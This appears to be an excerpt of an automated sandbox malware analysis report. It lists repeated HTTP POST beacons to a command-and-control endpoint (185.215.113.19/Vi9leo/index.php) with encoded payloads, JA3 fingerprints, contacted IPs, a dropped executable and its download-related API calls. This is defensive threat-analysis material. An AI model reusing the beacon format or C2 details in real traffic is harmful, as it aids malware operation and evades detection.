Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Source: Joe Sandbox View	IP Address: 85.28.47.31 85.28.47.31
Source: Joe Sandbox View	IP Address: 18.65.39.85 18.65.39.85
Source: Joe Sandbox View	IP Address: 13.107.246.60 13.107.246.60

Source: Joe Sandbox View

ASN Name: GES-ASRU GES-ASRU

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Code function: 11_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

11_2_00405000

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=k+CFrVfwfDyLu+h&MD=zZCe4Eut HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /clientwebservice/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: fe3cr.delivery.mp.microsoft.com
Source: global traffic	HTTP traffic detected: GET /sls/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: slscr.update.microsoft.com
